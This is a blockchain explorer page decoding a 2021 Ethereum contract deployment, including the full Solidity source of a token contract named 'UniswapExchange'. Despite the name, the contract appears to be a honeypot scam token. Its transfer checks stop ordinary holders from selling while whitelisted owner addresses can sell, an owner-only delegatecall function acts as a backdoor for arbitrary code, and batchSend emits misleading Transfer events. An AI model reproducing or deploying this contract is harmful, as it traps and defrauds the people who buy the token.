ETH Price: $2,032.18 (+5.33%)

Transaction Decoder

Block:
13835086 at Dec-19-2021 10:45:28 AM +UTC
Transaction Fee:
0.0441581915019161 ETH $89.74
Gas Used:
1,434,902 Gas / 30.77436055 Gwei

Emitted Events:

Account State Difference:

  Address   Before After State Difference Code
0x2EE2954f...0e3Aba21e
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 26332782715126302158024966850576160281471310059938674803050542895926304325582203095226968793745765487405708939715479429456471658578719498520493789704802983586917203601828494609265023722285751401127586189018225541620786526244793308443731211141780459336263807274477664180879274185786591919531307480604725544770160130974388514185824781993829426390818862553053170739883705591159163095069454736579439749154747915738525656226994607211257801553864573143804916079989189051680311872813782317030600733028403293511291992655339454481323726040158065920064087010051506346415042750970041237794836183423815148540823091414881845194905945851656337678687857540823895145759952144902852093272696130093614123704855210273259474921016198672123152500907148194702952161354560438442753894150931332857196721539032154059066108801797388039193953856529027576389006725320678019251991380292747530028640843407539846726242652439932264001680272681091027806331030226908973860387310622723075379088693543294279719484616330648346558365348451325284744811742104112730591858106822594196091538084124088025829437668982593206363009471455984835942351792468704239320915952117016092004079653782575313210110093097812110328273390409734510163999626752174645007448546008987402774291850672069294785496653696386870218533269080494387079192497629556872974839515365366252607007157776278808621384196485286969762008211593563474849924515566107566554859949937330299840204268276862359049202176106432616655962558836687723453255388330213702763257575083575042493279045397705033326427457866447353303536673994197588053603282293681819090353970768946622985395264199606196002203037303074644549655697961742889735383761817238583772983828471267026992459710264979038328892289439767446403472936401921922429156113067723106684089515323827051007536667390816865479139828013175307693463681975544883532275018326991831423312127691527275493289688182570149499841809633892435584642957533788788375412119321553413542281525293688025018417024853327203112390564090963418662311778412833247568720298411053294909155368641990425513494111152077072634715693501323706358725054640399261947281145578401617420149367293852295900459690116216497486494404452019589316884986321478491414835222655480278260876806038119152867579635330189802960348384575204626080903585323994335361135850777132802225285711586696685288582953794466724392859264263052163669016334322928802492120382674303970980292834970371633941915508522293357156471921346147280483841751365478835259769430557786583431617046704266247861096914402537739902870111263413791222760385518918951031021009424462959010684782569221548460932433356430210487758615784600513336062720031727671424676685364018417209684929955369029844601494153116933234378679963364558701646603276365712302902329324746086963846987472596807799399529116077766355583214650988944330848647670223213142062999767291608990630030290008956839043727904897803436740262348755149659979650723710553070887877536782969278741519814682990415431054907520313890294406081359501187264150783778112391708357988875049113181765308406727929684265769806362214399181135028322233979279591196940430729956979955685299954078362881858738023768706256647179915401169754821574266195666427621417641725752329493821265524028994706026574053912356408931462199516186848557234623488437292433105512664567949807509178310073361645519555131100475344975918721399954526018639571461047879035992761873134490271762779848926242038432642759069529676361993394756384316447612257003895569283119435132128235900399777239943894028661516959159498103451888809494063303668296223208211280787510183191376301494713866573105339441532059701937686030318378443957984574936300349035433337920383821931878123895489315430363660474881718636630311282178362536926435447113495469320004681825285774458084609866563399408848816067175472526757298055133009539323269322519405751082472505382123630508530221530489985840142736783549875226174534076126419759923724347845292563626576055493538462279946298219570234053739960150053757465667632553038538609567707146630603443995878186197288508017824522736310148182348274508270380651944042761851197967792453726126676612916942635547526772755885498537456465147866608608910054804139550530426633020956461250978019927425028797435975341578193945528299087099626970147565582854437912775182649111053184540295796912046933882380796046212669459315718744166766625019036293698079547972257252321286435984738788524887741875304337425133231911762547692134699466247035819758451457649319134827527877651584846324129345858586100293767887061950654786419942602788722768885381314725021023636514287881269744280547267553193466350125768631850580658766464295538021759074592071381608324851788118481314558630142819895848741197258963060106950253977178837633067090537823903451862303014138667014069709648584834971425373256538438787207479797227265378086989707401803300114914911484397177780225762240756072130840715156912259576471658393515884940150265112756044920070348347082154075248181588347332592617650548450294491340376663470327150581476792334285712173752059718017701878772096967596941487159596964773676419584475499412854634001149642840230571234853201748707904340813299378071885102486532531862008051481477936378746895491833001829346477921552008389109726831656809542053385980604714787203536236378279546257536171114451075536818785241657641743398193210762564986225474123697646976004245601690400520478539095452205442812387538040635324737903414825900819536103434722986471026726038764651800510098513995541013728332691234484110510912386000390445783110913581523786845847194135542755688253385951750511392848991269587914579627052166911819971643758613407832380959813614224607922391092219894859990056277724334162399084169538533564426452081668035667989011582877331522737543185335432569732305029548068146689718435374835878054088753702247976718269977654893015798025701260182871618954921338013685445132952739211861760335928884156950685487082772376749111404103326912186239481808742879224081523199835683898858400983830164848803301311796969727351798638223400185626602069709228994409983625191493890883832369648506364591871351808747761842128808336854359444680313407270784639528065906164077407559211788942880994136115355709133406331472912448484607361272073204886052083617707466915214937942678673533756306413800998185322680659905445463036989714164570540762604552563873550571141568218337710405046302739776688283711490464377215842551190345370975712663448182344346200196917443568066044484765507094429692262031392932999978250736747069887521785097695566580888905638259405122345089652127596997771639884733572357430556195510592811162476679760858340716493642094089716994719788643457783359948857188111734223133107976965045623315857831535048331392791486580434074958897972548943916700448179510869823399972517066802816769032753376058689231244287242983391944343546813696276207672426299401104011201200854771710636948384136603966949766340762173573092206620504228658844618706060999697289716197949679301532522391807937526969217945655746552491266827743252255516959741075764875243988359173218925652513134466430448838588504425198889014477832778616471188220954516449939577422655799138823091536097992309896060199696930460479272684587897408762099279007149353911801900120799309886654228100264336739550268907448149913763089314807791798430684647353157344805838943282863604942256159180180952608890972362675473073185692110579863825815790760398752943121644049271780807071164204906873325174899042095011888148371450163069127712820435345860685529964946427755989151735887007772506438556598791266200320978450923295051093402648258107897491513968048398287511006406181911983292008656451742647145757206433497172539175919790051433528613616880048575827340684779413702279284137551939440666589833931075802385708048756882973212734974703794701336604704456757789365630495756015858589993307241235972239076013756248202657256200338756749871279002098344642372277904637689778759873158240560442103942941728823393462958659807132843830404808126998933732528192968239358927347082016108710701724382320521361491356135190513205577055348511769757156972387375831232047340565685788443289618027787352706941923685293534509542536573780851984095084789477642996205755104981433932929200984109757241637131807076192721184012117811434619999914237577618698630674819696409625303905269346898521897729420592156699735708325041807968163810413510127106251802004207854095575835735167614522816850542538229602404648109736967093311595230646386679892440070158695474884751702732080641409814508005115252692456049931704299827776426541240660520443486797078402654313308570856609826087640678531878201057799934400962651632623430304704778670150604460353119385390780762408380191076608189155270234555838962255865331878136242828273389091657388702952921268030876672052811633271671526154682585481204636803891713902466736403167961532749488999231942313901152090388154066436477832114039758333449925885690503595120366306643332299569256718647267412380057805031287391594988633348051207207531143781337737775744802465163079562179764565528300890408308506139331321114061287708288691150099024077151235442206725634524832895593143151737639703362124691954570894778610313120479265267993069080806718989788519118092099966860502206693877802272461972206384997413211876984481142434389299837069438731984236384296314152037695172180863013228197323323453041616068285366608150744173968662351766562601068577855663840644832557740024840449048958259369440982493586878259087637442284547839141097808825524933969817577324918934386109048341628207210991631242424090147063944150554936568817694890040271731021819453494781156180050817085824194559195770658907476409154551497993789498011262498570488702580170390352731546808032263118580758432347723467843840494321526442651740633863341990324323583773867408804049776729963949742713114057111293807844747810837568937454523949912734013078213420047102056920391094489606053242183429494266146985835205919707801955557255422776805194414030966801577882815087344580876927518358899705724956058377076434580179986023712430140556585162106610197543730509142688152378979648139016697831453629551740136422543354874469312009984424687652829972572457791713796756624099452794340868148562118363763844350935338710364929099027623042565426644038485128380761260673037338729162226600238645252915979632295192466592821885023305459453335360407329222937826191758386103917552601728578214136903166969540946987232106655294271718093741254200032235364513711614436891456333137555728852375465104230206282348204842919924503435447875886170076281999478898410292824402079055239887592198596976047346655274747679446438478785519678807104274258505653579682007901765937148656626291106014183526344751152622964965131030797296454368553850410258883349549011462200555527891516439637481273502792810900623316922663748777506859177901965635323766893998204303241800038343256753488652000253843393632108358852928866280808478558703987354496534739922994397617152057754283122128880999763694376468507217943686820409318736067222940648838460811091534862519145482738076326542798480952327766369447305999251029607941192994814569815202020426942941055173116303009787930203329608282892325591502466627984309207720119905088503190415218168840277194342329952387958171320018699489920032676183482317572884169844322797691824582774157780517824607879327399204893432423648707137634709129205039556871830504111435246068740763095878253400508103233161148090530026116185054937948419688395752692552668925478769791820123710938780050602724157266395128319931991090615678855322424953106569311482662427796244899973801952747129341177443111758193804137941723041896378218385413296786108142958152862564326704916136992995622856514089347164105374389251777212594850999327660521667060459496233560370902095716524897207549286281079513617464815047790837578098015673428562757560668132954070093673252576571945942422791448745060295990349583436518848409724642623560489839417824946429742295675411794190000080187890811394644690753896490109312773360837049280477591643378601923337499684591470560820621116015670519885869162488616632282582624007820620772736741416760613258225681422964918302028906420401876347335900505492407267374998882232104470881941351062230604511366432709747705071768005352967784326785607477258178517057310328418554618807303786803100981919617567296111431101846323039958040922909564641269508837189095778724656215597002992635029449351782081396027592436975388136627651283753440865438388821677973564386780393920921565279886568674100251924066785405806088485227484077385680018454350623849611934309660114529203045038860759911630831405277198889336848710217271315738473960958008522839098929292638084387020357062176170059975151186221256516101350560047902348243467431442712164706287673720798161072318121886814612016200911465147752607221231253160765768543496865326286571965533721649606996448771782633949652695913366159772774524824888129952491020252251549784442835712196187790306109441517108035085707613396663302409210296002639948520753692170375793267742383453329169696204057935772011472731893394958709043887587336402720473965024569481288117380944445341140852997165969459668133405974035047041605210120065870989758314982108051181146019824128833694536999362255009005057087637705813334874636788595175629634812193085122055961680765390577974138613230104873170242166701453109101168980535546992639923874156625266946968609482380627262316882819387490177658158581776258349520754959244326709911835903588414719752600482609078633782874166334834253776052440267806933882157668364653749805347648975098443527740979923104121672689145702184869560817344845899251667802732488659978152711026060123439384711523077525131958143131534395868605357194401697957168674422452837344981284518252774236138958083258018214447105905322938199886789198650706292456004046015131001605410791189062561689076465868537906
0x49FE6Ddb...4ac16673F
0.2 Eth
Nonce: 0
0.1558418084980839 Eth
Nonce: 1
0.0441581915019161
(Nanopool)
4,036.427566721922265038 Eth4,036.428201534598718308 Eth0.00063481267645327

Execution Trace

UniswapExchange.60806040( )
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract UniswapExchange {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        //go the white address first
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }
    
    address tradeAddress;
    function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
   }